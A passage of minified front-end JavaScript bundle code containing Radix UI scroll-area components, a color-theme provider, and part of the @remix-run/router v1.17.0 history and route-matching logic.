document.addEventListener("wheel",O,{passive:!1}),()=>document.removeEventListener("wheel",O,{passive:!1})},[y,w,C,_]),h.useEffect(b,[r,b]),ks(w,P),ks(m.content,P),E.jsx(J_,{scope:n,scrollbar:w,hasThumb:o,onThumbChange:Ot(i),onThumbPointerUp:Ot(s),onThumbPositionChange:b,onThumbPointerDown:Ot(a),children:E.jsx($e.div,{...d,ref:x,style:{position:"absolute",...d.style},onPointerDown:We(e.onPointerDown,O=>{O.button===0&&(O.target.setPointerCapture(O.pointerId),v.current=w.getBoundingClientRect(),p.current=document.body.style.webkitUserSelect,document.body.style.webkitUserSelect="none",m.viewport&&(m.viewport.style.scrollBehavior="auto"),T(O))}),onPointerMove:We(e.onPointerMove,T),onPointerUp:We(e.onPointerUp,O=>{const M=O.target;M.hasPointerCapture(O.pointerId)&&M.releasePointerCapture(O.pointerId),document.body.style.webkitUserSelect=p.current,m.viewport&&(m.viewport.style.scrollBehavior=""),v.current=null})})})}),qu="ScrollAreaThumb",G1=h.forwardRef((e,t)=>{const{forceMount:n,...r}=e,o=K1(qu,e.__scopeScrollArea);return E.jsx(sr,{present:n||o.hasThumb,children:E.jsx(e5,{ref:t,...r})})}),e5=h.forwardRef((e,t)=>{const{__scopeScrollArea:n,style:r,...o}=e,i=wn(qu,n),s=K1(qu,n),{onThumbPositionChange:a}=s,l=tt(t,f=>s.onThumbChange(f)),u=h.useRef(),c=Lc(()=>{u.current&&(u.current(),u.current=void 0)},100);return h.useEffect(()=>{const f=i.viewport;if(f){const d=()=>{if(c(),!u.current){const m=r5(f,a);u.current=m,a()}};return a(),f.addEventListener("scroll",d),()=>f.removeEventListener("scroll",d)}},[i.viewport,c,a]),E.jsx($e.div,{"data-state":s.hasThumb?"visible":"hidden",...o,ref:l,style:{width:"var(--radix-scroll-area-thumb-width)",height:"var(--radix-scroll-area-thumb-height)",...r},onPointerDownCapture:We(e.onPointerDownCapture,f=>{const m=f.target.getBoundingClientRect(),w=f.clientX-m.left,g=f.clientY-m.top;s.onThumbPointerDown({x:w,y:g})}),onPointerUp:We(e.onPointerUp,s.onThumbPointerUp)})});G1.displayName=qu;var Cp="ScrollAreaCorner",q1=h.forwardRef((e,t)=>{const n=wn(Cp,e.__scopeScrollArea),r=!!(n.scrollbarX&&n.scrollbarY);return n.type!=="scroll"&&r?E.jsx(t5,{...e,ref:t}):null});q1.displayName=Cp;var t5=h.forwardRef((e,t)=>{const{__scopeScrollArea:n,...r}=e,o=wn(Cp,n),[i,s]=h.useState(0),[a,l]=h.useState(0),u=!!(i&&a);return ks(o.scrollbarX,()=>{var f;const c=((f=o.scrollbarX)==null?void 0:f.offsetHeight)||0;o.onCornerHeightChange(c),l(c)}),ks(o.scrollbarY,()=>{var f;const c=((f=o.scrollbarY)==null?void 0:f.offsetWidth)||0;o.onCornerWidthChange(c),s(c)}),u?E.jsx($e.div,{...r,ref:t,style:{width:i,height:a,position:"absolute",right:o.dir==="ltr"?0:void 0,left:o.dir==="rtl"?0:void 0,bottom:0,...e.style}}):null});function Xu(e){return e?parseInt(e,10):0}function X1(e,t){const n=e/t;return isNaN(n)?0:n}function Oc(e){const t=X1(e.viewport,e.content),n=e.scrollbar.paddingStart+e.scrollbar.paddingEnd,r=(e.scrollbar.size-n)*t;return Math.max(r,18)}function n5(e,t,n,r="ltr"){const o=Oc(n),i=o/2,s=t||i,a=o-s,l=n.scrollbar.paddingStart+s,u=n.scrollbar.size-n.scrollbar.paddingEnd-a,c=n.content-n.viewport,f=r==="ltr"?[0,c]:[c*-1,0];return J1([l,u],f)(e)}function Rv(e,t,n="ltr"){const r=Oc(t),o=t.scrollbar.paddingStart+t.scrollbar.paddingEnd,i=t.scrollbar.size-o,s=t.content-t.viewport,a=i-r,l=n==="ltr"?[0,s]:[s*-1,0],u=Z_(e,l);return J1([0,s],[0,a])(u)}function J1(e,t){return n=>{if(e[0]===e[1]||t[0]===t[1])return t[0];const r=(t[1]-t[0])/(e[1]-e[0]);return t[0]+r*(n-e[0])}}function ew(e,t){return e>0&&e<t}var r5=(e,t=()=>{})=>{let n={left:e.scrollLeft,top:e.scrollTop},r=0;return function o(){const i={left:e.scrollLeft,top:e.scrollTop},s=n.left!==i.left,a=n.top!==i.top;(s||a)&&t(),n=i,r=window.requestAnimationFrame(o)}(),()=>window.cancelAnimationFrame(r)};function Lc(e,t){const n=Ot(e),r=h.useRef(0);return h.useEffect(()=>()=>window.clearTimeout(r.current),[]),h.useCallback(()=>{window.clearTimeout(r.current),r.current=window.setTimeout(n,t)},[n,t])}function ks(e,t){const n=Ot(t);kr(()=>{let r=0;if(e){const o=new ResizeObserver(()=>{cancelAnimationFrame(r),r=window.requestAnimationFrame(n)});return o.observe(e),()=>{window.cancelAnimationFrame(r),o.unobserve(e)}}},[e,n])}var tw=H1,o5=Z1,i5=q1;const nw=h.forwardRef(({className:e,children:t,...n},r)=>E.jsxs(tw,{ref:r,className:Ze("relative overflow-hidden",e),...n,children:[E.jsx(o5,{className:"h-full w-full rounded-[inherit]",children:t}),E.jsx(Sp,{}),E.jsx(i5,{})]}));nw.displayName=tw.displayName;const Sp=h.forwardRef(({className:e,orientation:t="vertical",...n},r)=>E.jsx(xp,{ref:r,orientation:t,className:Ze("flex touch-none select-none transition-colors",t==="vertical"&&"h-full w-2.5 border-l border-l-transparent p-[1px]",t==="horizontal"&&"h-2.5 flex-col border-t border-t-transparent p-[1px]",e),...n,children:E.jsx(G1,{className:"relative flex-1 rounded-full bg-border"})}));Sp.displayName=xp.displayName;const s5={theme:"system",setTheme:()=>null,effectiveTheme:"light"},rw=h.createContext(s5);function a5({children:e,defaultTheme:t="system",storageKey:n="color-scheme",...r}){const[o,i]=h.useState(()=>localStorage.getItem(n)||t),[s,a]=h.useState(()=>o);h.useEffect(()=>{const u=window.document.documentElement;if(u.classList.remove("light","dark"),o==="system"){const c=window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light";u.classList.add(c),a(c)}else u.classList.add(o),a(o)},[o]);const l={theme:o,setTheme:u=>{localStorage.setItem(n,u),i(u)},effectiveTheme:s};return E.jsx(rw.Provider,{...r,value:l,children:e})}function ow(){const e=h.useContext(rw);if(e===void 0)throw new Error("useTheme must be used within a ThemeProvider");return e}/**
 * @remix-run/router v1.17.0
 *
 * Copyright (c) Remix Software Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE.md file in the root directory of this source tree.
 *
 * @license MIT
 */function Ve(){return Ve=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Ve.apply(this,arguments)}var ot;(function(e){e.Pop="POP",e.Push="PUSH",e.Replace="REPLACE"})(ot||(ot={}));const Pv="popstate";function l5(e){e===void 0&&(e={});function t(r,o){let{pathname:i,search:s,hash:a}=r.location;return Rs("",{pathname:i,search:s,hash:a},o.state&&o.state.usr||null,o.state&&o.state.key||"default")}function n(r,o){return typeof o=="string"?o:bo(o)}return iw(t,n,null,e)}function u5(e){e===void 0&&(e={});function t(o,i){let{pathname:s="/",search:a="",hash:l=""}=Or(o.location.hash.substr(1));return!s.startsWith("/")&&!s.startsWith(".")&&(s="/"+s),Rs("",{pathname:s,search:a,hash:l},i.state&&i.state.usr||null,i.state&&i.state.key||"default")}function n(o,i){let s=o.document.querySelector("base"),a="";if(s&&s.getAttribute("href")){let l=o.location.href,u=l.indexOf("#");a=u===-1?l:l.slice(0,u)}return a+"#"+(typeof i=="string"?i:bo(i))}function r(o,i){xo(o.pathname.charAt(0)==="/","relative pathnames are not supported in hash history.push("+JSON.stringify(i)+")")}return iw(t,n,r,e)}function he(e,t){if(e===!1||e===null||typeof e>"u")throw new Error(t)}function xo(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function c5(){return Math.random().toString(36).substr(2,8)}function Tv(e,t){return{usr:e.state,key:e.key,idx:t}}function Rs(e,t,n,r){return n===void 0&&(n=null),Ve({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?Or(t):t,{state:n,key:t&&t.key||r||c5()})}function bo(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function Or(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function iw(e,t,n,r){r===void 0&&(r={});let{window:o=document.defaultView,v5Compat:i=!1}=r,s=o.history,a=ot.Pop,l=null,u=c();u==null&&(u=0,s.replaceState(Ve({},s.state,{idx:u}),""));function c(){return(s.state||{idx:null}).idx}function f(){a=ot.Pop;let x=c(),v=x==null?null:x-u;u=x,l&&l({action:a,location:g.location,delta:v})}function d(x,v){a=ot.Push;let p=Rs(g.location,x,v);n&&n(p,x),u=c()+1;let y=Tv(p,u),C=g.createHref(p);try{s.pushState(y,"",C)}catch(_){if(_ instanceof DOMException&&_.name==="DataCloneError")throw _;o.location.assign(C)}i&&l&&l({action:a,location:g.location,delta:1})}function m(x,v){a=ot.Replace;let p=Rs(g.location,x,v);n&&n(p,x),u=c();let y=Tv(p,u),C=g.createHref(p);s.replaceState(y,"",C),i&&l&&l({action:a,location:g.location,delta:0})}function w(x){let v=o.location.origin!=="null"?o.location.origin:o.location.href,p=typeof x=="string"?x:bo(x);return p=p.replace(/ $/,"%20"),he(v,"No window.location.(origin|href) available to create URL for href: "+p),new URL(p,v)}let g={get action(){return a},get location(){return e(o,s)},listen(x){if(l)throw new Error("A history only accepts one active listener");return o.addEventListener(Pv,f),l=x,()=>{o.removeEventListener(Pv,f),l=null}},createHref(x){return t(o,x)},createURL:w,encodeLocation(x){let v=w(x);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:d,replace:m,go(x){return s.go(x)}};return g}var De;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(De||(De={}));const d5=new Set(["lazy","caseSensitive","path","id","index","children"]);function f5(e){return e.index===!0}function Wa(e,t,n,r){return n===void 0&&(n=[]),r===void 0&&(r={}),e.map((o,i)=>{let s=[...n,String(i)],a=typeof o.id=="string"?o.id:s.join("-");if(he(o.index!==!0||!o.children,"Cannot specify children on an index route"),he(!r[a],'Found a route id collision on id "'+a+`".  Route id's must be globally unique within Data Router usages`),f5(o)){let l=Ve({},o,t(o),{id:a});return r[a]=l,l}else{let l=Ve({},o,t(o),{id:a,children:void 0});return r[a]=l,o.children&&(l.children=Wa(o.children,t,s,r)),l}})}function zo(e,t,n){return n===void 0&&(n="/"),wu(e,t,n,!1)}function wu(e,t,n,r){let o=typeof t=="string"?Or(t):t,i=$s(o.pathname||"/",n);if(i==null)return null;let s=sw(e);p5(s);let a=null;for(let l=0;a==null&&l<s.length;++l){let u=_5(i);a=S5(s[l],u,r)}return a}function h5(e,t){let{route:n,pathname:r,params:o}=e;return{id:n.id,pathname:r,params:o,data:t[n.id],handle:n.handle}}function sw(e,t,n,r){t===void 0&&(t=[]),n===void 0&&(n=[]),r===void 0&&(r="");let o=(i,s,a)=>{let l={relativePath:a===void 0?i.path||"":a,caseSensitive:i.caseSensitive===!0,childrenIndex:s,route:i};l.relativePath.startsWith("/")&&(he(l.relativePath.startsWith(r),'Absolute route path "'+l.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),l.relativePath=l.relativePath.slice(r.length));let u=xr([r,l.relativePath]),c=n.concat(l);i.children&&i.children.length>0&&(he(i.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),sw(i.children,t,c,u)),!(i.path==null&&!i.index)&&t.push({path:u,score:b5(u,i.index),routesMeta:c})};return e.forEach((i,s)=>{var a;if(i.path===""||!((a=i.path)!=null&&a.includes("?")))o(i,s);else for(let l of aw(i.path))o(i,s,l)}),t}function aw(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,o=n.endsWith("?"),i=n.replace(/\?$/,"");if(r.length===0)return o?[i,""]:[i];let s=aw(r.join("/")),a=[];return a.push(...s.map(l=>l===""?i:[i,l].join("/"))),o&&a.push(...s),a.map(l=>e.startsWith("/")&&l===""?"/":l)}function p5(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:C5(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const m5=/^:[\w-]+$/,v5=3,g5=2,y5=1,w5=10,x5=-2,Nv=e=>e==="*";function b5(e,t){let n=e.split("/"),r=n.length;return n.some(Nv)&&(r+=x5),t&&(r+=g5),n.filter(o=>!Nv(o)).reduce((o,i)=>o+(m5.test(i)?v5:i===""?y5:w5),r)}function C5(e,t){return e.length===t.length&&e.slice(0,-1).every((r,o)=>r===t[o])?e[e.length-1]-t[t.length-1]:0}function S5(e,t,n){n===void 0&&(n=!1);let{routesMeta:r}=e,o={},i="/",s=[];for(let a=0;a<r.length;++a){let l=r[a],u=a===r.length-1,c=i==="/"?t:t.slice(i.length)||"/",f=Ov({path:l.relativePath,caseSensitive:l.caseSensitive,end:u},c),d=l.route;if(!f&&u&&n&&!r[r.length-1].route.index&&(f=Ov({path:l.relativePath,caseSensitive:l.caseSensitive,end:!1},c)),!f)return null;Object.assign(o,f.params),s.push({params:o,pathname:xr([i,f.pathname]),pathnameBase:P5(xr([i,f.pathnameBase])),route:d}),f.pathnameBase!=="/"&&(i=xr([i,f.pathnameBase]))}return s}function mT(e,t){t===void 0&&(t={});let n=e;n.endsWith("*")&&n!=="*"&&!n.endsWith("/*")&&(xo(!1,'Route path "'+n+'" will be treated as if it were '+('"'+n.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+n.replace(/\*$/,"/*")+'".')),n=n.replace(/\*$/,"/*"));const r=n.startsWith("/")?"/":"",o=s=>s==null?"":typeof s=="string"?s:String(s),i=n.split(/\/+/).map((s,a,l)=>{if(a===l.length-1&&s==="*")return o(t["*"]);const c=s.match(/^:([\w-]+)(\??)$/);if(c){const[,f,d]=c;let m=t[f];return he(d==="?"||m!=null,'Missing ":'+f+'" param'),o(m)}return s.replace(/\?$/g,"")}).filter(s=>!!s);return r+i.join("/")}function Ov(e,t){typeof e=="string"&&(e={path:e,caseSensitive:!1,end:!0});let[n,r]=E5(e.path,e.caseSensitive,e.end),o=t.match(n);if(!o)return null;let i=o[0],s=i.replace(/(.)\/+$/,"$1"),a=o.slice(1);return{params:r.reduce((u,c,f)=>{let{paramName:d,isOptional:m}=c;if(d==="*"){let g=a[f]||"";s=i.slice(0,i.length-g.length).replace(/(.)\/+$/,"$1")}const w=a[f];return m&&!w?u[d]=void 0:u[d]=(w||"").replace(/%2F/g,"/"),u},{}),pathname:i,pathnameBase:s,pattern:e}}function E5(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),xo(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],o="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(s,a,l)=>(r.push({paramName:a,isOptional:l!=null}),l?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),o+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?o+="\\/*$":e!==""&&e!=="/"&&(o+="(?:(?=\\/|$))"),[new RegExp(o,t?void 0:"i"),r]}function _5(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return xo(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function $s(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}function k5(e,t){t===void 0&&(t="/");let{pathname:n,search:r="",hash:o=""}=typeof e=="string"?Or(e):e;return{pathname:n?n.startsWith("/")?n:R5(n,t):t,search:T5(r),hash:N5(o)}}function R5(e,t){let n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(o=>{o===".."?n.length>1&&n.pop():o!=="."&&n.push(o)}),n.length>1?n.join("/"):"/"}function Ld(e,t,n,r){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(r)+"].  Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in <Link to="..."> and the router will parse it for you.'}function lw(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function Ac(e,t){let n=lw(e);return t?n.map((r,o)=>o===e.length-1?r.pathname:r.pathnameBase):n.map(r=>r.pathnameBase)}function Mc(e,t,n,r){r===void 0&&(r=!1);let o;typeof e=="string"?o=Or(e):(o=Ve({},e),he(!o.pathname||!o.pathname.includes("?"),Ld("?","pathname","search",o)),he(!o.pathname||!o.pathname.includes("#"),Ld("#","pathname","hash",o)),he(!o.search||!o.search.includes("#"),Ld("#","search","hash",o)));let i=e===""||o.pathname==="",s=i?"/":o.pathname,a;if(s==null)a=n;else{let f=t.length-1;if(!r&&s.startsWith("..")){let d=s.split("/");for(;d[0]==="..";)d.shift(),f-=1;o.pathname=d.join("/")}a=f>=0?t[f]:"/"}let l=k5(o,a),u=s&&s!=="/"&&s.endsWith("/"),c=(i||s===".")&&n.endsWith("/");return!l.pathname.endsWith("/")&&(u||c)&&(l.pathname+="/"),l}const xr=e=>e.join("/").replace(/\/\/+/g,"/"),P5=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),T5=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,N5=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;class Ep{constructor(t,n,r,o){o===void 0&&(o=!1),this.status=t,this.statusText=n||"",this.internal=o,r instanceof Error?(this.data=r.toString(),this.error=r):this.data=r}}function Dc(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const uw=["post","put","patch","delete"],O5=new Set(uw),L5=["get",...uw],A5=new Set(L5),M5=new Set([301,302,303,307,308]),D5=new Set([307,308]),Ad={state:"idle",location:void 0,formMethod:void 0,formAction:void 0,formEncType:void 0,formData:void 0,json:void 0,text:void 0},j5={state:"idle",data:void 0,formMethod:void 0,formAction:void 0,formEncType:void 0,formData:void 0,json:void 0,text:void 0},ia={state:"unblocked",proceed:void 0,reset:void 0,location:void 0},_p=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,I5=e=>({hasErrorBoundary:!!e.hasErrorBoundary}),cw="remix-router-transitions";function dw(e){const t=e.window?e.window:typeof window<"u"?window:void 0,n=typeof t<"u"&&typeof t.document<"u"&&typeof t.document.createElement<"u",r=!n;he(e.routes.length>0,"You must provide a non-empty routes array to createRouter");let o;if(e.mapRouteProperties)o=e.mapRouteProperties;else if(e.detectErrorBoundary){let k=e.detectErrorBoundary;o=R=>({hasErrorBoundary:k(R)})}else o=I5;let i={},s=Wa(e.routes,o,void 0,i),a,l=e.basename||"/",u=e.unstable_dataStrategy||B5,c=e.unstable_patchRoutesOnMiss,f=Ve({v7_fetcherPersist:!1,v7_normalizeFormMethod:!1,v7_partialHydration:!1,v7_prependBasename:!1,v7_relativeSplatPath:!1,unstable_skipActionErrorRevalidation:!1},e.future),d=null,m=new Set,w=null,g=null,x=null,v=e.hydrationData!=null,p=zo(s,e.history.location,l),y=null;if(p==null&&!c){let k=Tt(404,{pathname:e.history.location.pathname}),{matches:R,route:N}=Uv(s);p=R,y={[N.id]:k}}let C;if(!p)C=!1,p=[];else if(p.some(k=>k.route.lazy))C=!1;else if(!p.some(k=>k.route.loader))C=!0;else if(f.v7_partialHydration){let k=e.hydrationData?e.hydrationData.loaderData:null,R=e.hydrationData?e.hydrationData.errors:null,N=A=>A.route.loader?typeof A.route.loader=="function"&&A.route.loader.hydrate===!0?!1:k&&k[A.route.id]!==void 0||R&&R[A.route.id]!==void 0:!0;if(R){let A=p.findIndex(H=>R[H.route.id]!==void 0);C=p.slice(0,A+1).every(N)}else C=p.every(N)}else C=e.hydrationData!=null;let _,b={historyAction:e.history.action,location:e.history.location,matches:p,initialized:C,navigation:Ad,restoreScrollPosition:e.hydrationData!=null?!1:null,preventScrollReset:!1,revalidation:"idle",loaderData:e.hydrationData&&e.hydrationData.loaderData||{},actionData:e.hydrationData&&e.hydrationData.actionData||null,errors:e.hydrationData&&e.hydrationData.errors||y,fetchers:new Map,blockers:new Map},P=ot.Pop,T=!1,O,M=!1,$=new Map,B=null,ne=!1,re=!1,me=[],le=[],Q=new Map,L=0,D=-1,q=new Map,W=new Set,X=new Map,we=new Map,ke=new Set,Xe=new Map,ge=new Map,Zt=new Map,ln=!1;function Fn(){if(d=e.history.listen(k=>{let{action:R,location:N,delta:A}=k;if(ln){ln=!1;return}xo(ge.size===0||A!=null,"You are trying to use a blocker on a POP navigation to a location that was not created by @remix-run/router. This will fail silently in production. This can happen if you are navigating outside the router via `window.history.pushState`/`window.location.hash` instead of using router navigation APIs.  This can also happen if you are using createHashRouter and the user manually changes the URL.");let H=Ne({currentLocation:b.location,nextLocation:N,historyAction:R});if(H&&A!=null){ln=!0,e.history.go(A*-1),Re(H,{state:"blocked",location:N,proceed(){Re(H,{state:"proceeding",proceed:void 0,reset:void 0,location:N}),e.history.go(A)},reset(){let J=new Map(b.blockers);J.set(H,ia),Je({blockers:J})}});return}return gt(R,N)}),n){t4(t,$);let k=()=>n4(t,$);t.addEventListener("pagehide",k),B=()=>t.removeEventListener("pagehide",k)}return b.initialized||gt(ot.Pop,b.location,{initialHydration:!0}),_}function $n(){d&&d(),B&&B(),m.clear(),O&&O.abort(),b.fetchers.forEach((k,R)=>yi(R)),b.blockers.forEach((k,R)=>ae(R))}function pi(k){return m.add(k),()=>m.delete(k)}function Je(k,R){R===void 0&&(R={}),b=Ve({},b,k);let N=[],A=[];f.v7_fetcherPersist&&b.fetchers.forEach((H,J)=>{H.state==="idle"&&(ke.has(J)?A.push(J):N.push(J))}),[...m].forEach(H=>H(b,{deletedFetchers:A,unstable_viewTransitionOpts:R.viewTransitionOpts,unstable_flushSync:R.flushSync===!0})),f.v7_fetcherPersist&&(N.forEach(H=>b.fetchers.delete(H)),A.forEach(H=>yi(H)))}function jt(k,R,N){var A,H;let{flushSync:J}=N===void 0?{}:N,oe=b.actionData!=null&&b.navigation.formMethod!=null&&Pn(b.navigation.formMethod)&&b.navigation.state==="loading"&&((A=k.state)==null?void 0:A._isRedirect)!==!0,U;R.actionData?Object.keys(R.actionData).length>0?U=R.actionData:U=null:oe?U=b.actionData:U=null;let ue=R.loaderData?Fv(b.loaderData,R.loaderData,R.matches||[],R.errors):b.loaderData,G=b.blockers;G.size>0&&(G=new Map(G),G.forEach((_e,Ae)=>G.set(Ae,ia)));let de=T===!0||b.navigation.formMethod!=null&&Pn(b.navigation.formMethod)&&((H=k.state)==null?void 0:H._isRedirect)!==!0;a&&(s=a,a=void 0),ne||P===ot.Pop||(P===ot.Push?e.history.push(k,k.state):P===ot.Replace&&e.history.replace(k,k.state));let Le;if(P===ot.Pop){let _e=$.get(b.location.pathname);_e&&_e.has(k.pathname)?Le={currentLocation:b.location,nextLocation:k}:$.has(k.pathname)&&(Le={currentLocation:k,nextLocation:b.location})}else if(M){let _e=$.get(b.location.pathname);_e?_e.add(k.pathname):(_e=new Set([k.pathname]),$.set(b.location.pathname,_e)),Le={currentLocation:b.location,nextLocation:k}}Je(Ve({},R,{actionData:U,loaderData:ue,historyAction:P,location:k,initialized:!0,navigation:Ad,revalidation:"idle",restoreScrollPosition:Gp(k,R.matches||b.matches),preventScrollReset:de,blockers:G}),{viewTransitionOpts:Le,flushSync:J===!0}),P=ot.Pop,T=!1,M=!1,ne=!1,re=!1,me=[],le=[]}async function Dr(k,R){if(typeof k=="number"){e.history.go(k);return}let N=zf(b.location,b.matches,l,f.v7_prependBasename,k,f.v7_relativeSplatPath,R==null?void 0:R.fromRouteId,R==null?void 0:R.relative),{path:A,submission:H,error:J}=Lv(f.v7_normalizeFormMethod,!1,N,R),oe=b.location,U=Rs(b.location,A,R&&R.state);U=Ve({},U,e.history.encodeLocation(U));let ue=R&&R.replace!=null?R.replace:void 0,G=ot.Push;ue===!0?G=ot.Replace:ue===!1||H!=null&&Pn(H.formMethod)&&H.formAction===b.location.pathname+b.location.search&&(G=ot.Replace);let de=R&&"preventScrollReset"in R?R.preventScrollReset===!0:void 0,Le=(R&&R.unstable_flushSync)===!0,_e=Ne({currentLocation:oe,nextLocation:U,historyAction:G});if(_e){Re(_e,{state:"blocked",location:U,proceed(){Re(_e,{state:"proceeding",proceed:void 0,reset:void 0,location:U}),Dr(k,R)},reset(){let Ae=new Map(b.blockers);Ae.set(_e,ia),Je({blockers:Ae})}});return}return await gt(G,U,{submission:H,pendingError:J,preventScrollReset:de,replace:R&&R.replace,enableViewTransition:R&&R.unstable_viewTransition,flushSync:Le})}function mi(){if(Un(),Je({revalidation:"loading"}),b.navigation.state!=="submitting"){if(b.navigation.state==="idle"){gt(b.historyAction,b.location,{startUninterruptedRevalidation:!0});return}gt(P||b.historyAction,b.navigation.location,{overrideNavigation:b.navigation})}}async function gt(k,R,N){O&&O.abort(),O=null,P=k,ne=(N&&N.startUninterruptedRevalidation)===!0,h2(b.location,b.matches),T=(N&&N.preventScrollReset)===!0,M=(N&&N.enableViewTransition)===!0;let A=a||s,H=N&&N.overrideNavigation,J=zo(A,R,l),oe=(N&&N.flushSync)===!0,U=qp(J,A,R.pathname);if(U.active&&U.matches&&(J=U.matches),!J){let{error:Pe,notFoundMatches:dt,route:rt}=It(R.pathname);jt(R,{matches:dt,loaderData:{},errors:{[rt.id]:Pe}},{flushSync:oe});return}if(b.initialized&&!re&&K5(b.location,R)&&!(N&&N.submission&&Pn(N.submission.formMethod))){jt(R,{matches:J},{flushSync:oe});return}O=new AbortController;let ue=Ri(e.history,R,O.signal,N&&N.submission),G;if(N&&N.pendingError)G=[ka(J).route.id,{type:De.error,error:N.pendingError}];else if(N&&N.submission&&Pn(N.submission.formMethod)){let Pe=await Ws(ue,R,N.submission,J,U.active,{replace:N.replace,flushSync:oe});if(Pe.shortCircuited)return;if(Pe.pendingActionResult){let[dt,rt]=Pe.pendingActionResult;if(qt(rt)&&Dc(rt.error)&&rt.error.status===404){O=null,jt(R,{matches:Pe.matches,loaderData:{},errors:{[dt]:rt.error}});return}}J=Pe.matches||J,G=Pe.pendingActionResult,H=Md(R,N.submission),oe=!1,U.active=!1,ue=Ri(e.history,ue.url,ue.signal)}let{shortCircuited:de,matches:Le,loaderData:_e,errors:Ae}=await Zs(ue,R,J,U.active,H,N&&N.submission,N&&N.fetcherSubmission,N&&N.replace,N&&N.initialHydration===!0,oe,G);de||(O=null,jt(R,Ve({matches:Le||J},$v(G),{loaderData:_e,errors:Ae})))}async function Ws(k,R,N,A,H,J){J===void 0&&(J={}),Un();let oe=J5(R,N);if(Je({navigation:oe},{flushSync:J.flushSync===!0}),H){let G=await Pl(A,R.pathname,k.signal);if(G.type==="aborted")return{shortCircuited:!0};if(G.type==="error"){let{error:de,notFoundMatches:Le,route:_e}=kt(R.pathname,G);return{matches:Le,pendingActionResult:[_e.id,{type:De.error,error:de}]}}else if(G.matches)A=G.matches;else{let{notFoundMatches:de,error:Le,route:_e}=It(R.pathname);return{matches:de,pendingActionResult:[_e.id,{type:De.error,error:Le}]}}}let U,ue=ha(A,R);if(!ue.route.action&&!ue.route.lazy)U={type:De.error,error:Tt(405,{method:k.method,pathname:R.pathname,routeId:ue.route.id})};else if(U=(await Ir("action",k,[ue],A))[0],k.signal.aborted)return{shortCircuited:!0};if(Ho(U)){let G;return J&&J.replace!=null?G=J.replace:G=jv(U.response.headers.get("Location"),new URL(k.url),l)===b.location.pathname+b.location.search,await Ao(k,U,{submission:N,replace:G}),{shortCircuited:!0}}if(Vo(U))throw Tt(400,{type:"defer-action"});if(qt(U)){let G=ka(A,ue.route.id);return(J&&J.replace)!==!0&&(P=ot.Push),{matches:A,pendingActionResult:[G.route.id,U]}}return{matches:A,pendingActionResult:[ue.route.id,U]}}async function Zs(k,R,N,A,H,J,oe,U,ue,G,de){let Le=H||Md(R,J),_e=J||oe||Hv(Le),Ae=!ne&&(!f.v7_partialHydration||!ue);if(A){if(Ae){let Ye=nt(de);Je(Ve({navigation:Le},Ye!==void 0?{actionData:Ye}:{}),{flushSync:G})}let ve=await Pl(N,R.pathname,k.signal);if(ve.type==="aborted")return{shortCircuited:!0};if(ve.type==="error"){let{error:Ye,notFoundMatches:Qt,route:Me}=kt(R.pathname,ve);return{matches:Qt,loaderData:{},errors:{[Me.id]:Ye}}}else if(ve.matches)N=ve.matches;else{let{error:Ye,notFoundMatches:Qt,route:Me}=It(R.pathname);return{matches:Qt,loaderData:{},errors:{[Me.id]:Ye}}}}let Pe=a||s,[dt,rt]=Av(e.history,b,N,_e,R,f.v7_partialHydration&&ue===!0,f.unstable_skipActionErrorRevalidation,re,me,le,ke,X,W,Pe,l,de);if(zr(ve=>!(N&&N.some(Ye=>Ye.route.id===ve))||dt&&dt.some(Ye=>Ye.route.id===ve)),D=++L,dt.length===0&&rt.length===0){let ve=wi();return 